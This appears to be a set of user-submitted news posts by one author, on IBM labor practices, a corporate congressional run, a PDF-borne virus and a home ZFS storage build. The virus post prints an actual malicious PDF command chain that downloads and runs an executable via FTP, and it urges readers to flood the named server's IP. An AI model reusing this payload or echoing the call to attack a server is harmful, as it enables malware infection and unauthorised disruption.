hoggoth writes: MISH'S Global Economic Trend Analysis blog has an article up about IBM "crowdsourcing" away 3/4 of their workforce. The deal sounds something like this: "Employee, you will be doing the same work for us, except you won't be an employee, when it's slow in between projects you won't get paid, you won't get a pension, and you won't get health benefits." Being in I.T. just keeps getting better.
hoggoth writes: "Following the recent Supreme Court ruling in Citizens United v. Federal Election Commission to allow unlimited corporate funding of federal campaigns, Murray Hill Inc. today announced it was filing to run for U.S. Congress". This can't be a good thing.
hoggoth writes: The recent outbreak of the 'Peachy' virus showed that PDFs can carry dangerous content. All of the news outlets are repeating Adobe's statement that only the full Acrobat suite can activate the virus, that the free Acrobat Reader is immune. However as a victim of a PDF carried virus I can tell you it's not true. This morning I got an email from a financial services firm I have an account with to an email address I set up just for that financial services firm. This led me to stupidly trust the email that contained a PDF attachment. When I clicked on it a window popped up and went away; very suspicious behavior. So I looked closer at the PDF file and found that it contained a mailto: that put some DOS commandline instructions in a file and executed them, which contacted a server, downloaded an executable, and ran it.
The meat of the offending part is this:
14 0 obj7&@echo binary>>7&@echo get/ms32.exe>>7&@echo quit>>7&@ftp -s:7 -v -A>nul&@del/q 7&@start ms32.exe&\" \"&\" "con.cmd)/S/URI>>
This calls cmd.exe with a long command that turns off your firewall, FTP's into the offending site, downloads a rogue version of ms32.exe, and runs it.
The virus installed a number of files to my computer and modified the startup to run them. I *think* I got rid of it all, although one can never be sure today with rootkits and all.
I googled all over, and I think this is 'breaking news'. Every outlet is still saying Acrobat Reader is safe.
Entities to Hate:
The virus server at 188.8.131.52
Financial services institutions that sell your private email address to marketers.
Adobe for allowing PDFs to execute cmd.com.
Adobe for lying about Acrobat Reader being safe.
Microsoft for their entire insecure operating system. Come on, outside data is allowed to run and TURN OFF THE FIREWALL?!
Please feel free to pound that FTP server's IP address with all the hate you can muster.
hoggoth writes: As a common everyman who needs big fast reliable storage without a big budget, I have been following a number of emerging technologies and I think they have finally become usable in combination. Specifically, it appears to me that I can put together the little brother of a $50,000 NAS/SAN solution for under $3,000. Here's how:
Get a CoolerMaster Stacker enclosure like this one (just the hardware not the software) that can hold up to 12 SATA drives. Install OpenSolaris and create ZFS pools with RAID-Z for redundancy. Export some pools with Samba for use as a NAS. Export some pools with iSCSI for use as a SAN. Run it over Gigabit Ethernet. Fast, secure, reliable, easy to administer, and cheap. Usable from Windows, Mac, and Linux. As a bonus ZFS let's me create daily or hourly snapshots at almost no cost in disk space or time.
Total cost: 1.4 Terabytes: $2,000. 7.7 Terabytes: $4,200 (Just the cost of the enclosure and the drives). That's an order of magnitude less expensive than other solutions.
Add redundant power supplies, NIC cards, SATA cards, etc as your needs require..
So storage experts, tell me why this is or isn't feasible!.